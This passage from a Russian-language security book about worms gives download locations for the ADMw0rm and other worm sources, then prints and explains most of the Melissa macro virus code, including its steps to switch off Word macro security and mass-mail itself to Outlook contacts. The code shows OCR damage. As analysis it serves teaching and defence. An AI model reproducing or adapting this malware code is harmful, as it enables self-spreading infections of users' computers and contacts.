Для самостоятельного изучения червя его код можно загрузить с сайта www.worm.net/worm-src.tar.gz.
ADMw0rm
Популярная группа хакеров ADM, творения которой в свое время создали проблемы многим пользователям, выпустила червя, использующего переполнение буфера в механизме управления запросами BIND (Berkeley Internet Name Domain – служба доменных имен в сети Internet). Копию этого червя можно бесплатно получить на официальном FTP-сайте группы ADM: ftp:// adm.freelsd.net/ADM.
К счастью для Интернета, этот червь предназначен только для компьютеров с операционной системой Linux; впрочем, вполне может найтись человек, который модифицирует его под другие платформы.
Черви Melissa и I love you
Макровирусы Melissa и I love you часто обсуждались в печатных изданиях. Ведь их воздействие было массированным и привело к огромным денежным потерям (8 млрд долл.!). Каким же образом была достигнута подобная эффективность? Тактика их распространения основывалась на знании психологии пользователей. Черви маскировались под письма от друзей и знакомых, потому что для рассылки своих копий они использовали адресную книгу жертвы. Получая письмо с известным обратным адресом, пользователь обычно испытывает определенное доверие к присланному вложению, поэтому вряд ли будет проверять его антивирусной программой.
Червь Melissa имеет достаточно простой код небольшого размера. На его примере мы покажем, насколько простыми могут быть черви:
Private Sub Document Open()On Error Resume Next
Червь Melissa инфицирует макрос Document_Open()в файлах приложения Microsoft Word. Ведь при открытии файла Word выполняется любой код, помещенный в процедуру Document_Open().То есть для распространения червя Melissa требуется, чтобы пользователь открыл инфицированный документ, присланный по электронной почте.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) <> “”
Then
CommandBars(“ Macro” ).Controls(“ Security...” ).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1):
Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End If
В этот момент червь Melissa делает умный ход, отключая проверку безопасности макросов в Microsoft Word. В итоге конечный пользователь не получает никаких сигналов о том, что в системе что-то происходит, – это позволяет червю беспрепятственно продолжить свою работу.
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)
Аббревиатура MAPI расшифровывается как Messaging Application Programming Interface – интерфейс прикладного программирования. Этот интерфейс представляет собой основной способ взаимодействия Windows-приложений с различными функциями электронной почты. Обычно в качестве почтовой программы используется Microsoft Outlook, хотя существуют и другие возможности.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\”,
“Melissa?”) <> “... by Kwyjibo” Then
Червь Melissa использует механизм исключения повторного заражения. В данном случае этот механизм состоит в применении определенного ключа Registry в качестве семафора. Если ключ не задан, значит, червь Melissa еще не заразил этот компьютер, поэтому он переходит к выполнению вредоносного кода.
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo =
AddyBook.AddressEntries.Count
Next oo
Затем Melissa проверяет, используется ли в качестве почтовой программы приложение Outlook. В случае положительного результата проверки вирус создает список первых 50 адресов, найденных в адресной книге.
BreakUmOffASlice.Subject = “Important Message From ” &
Application .UserName
BreakUmOffASlice.Body = “Here is that document you asked for
... don’t show anyone else ;-)”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
А вот код, рассылающий сообщения по ранее найденным 50 адресам. Как легко заметить, сообщения персонифицированы, то есть в них в качестве отправителя фигурирует хозяин зараженного компьютера. Обратите внимание, что Melissa просто присоединяет себя к сообщению, используя всего одну строку. Затем следует команда отправки почты. Могли ли вы подозревать, что это происходит настолько просто?
Peep = “”
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software
\Microsoft\Office\”, “Melissa?”) = “... by Kwyjibo”
End If
Завершив отправку почты, Mel issa создает запись в Registry, чтобы гарантировать завершение рассылки сообщений. Именно эту запись ищет вирус, попав в систему.
Читать дальше
Конец ознакомительного отрывка
Купить книгу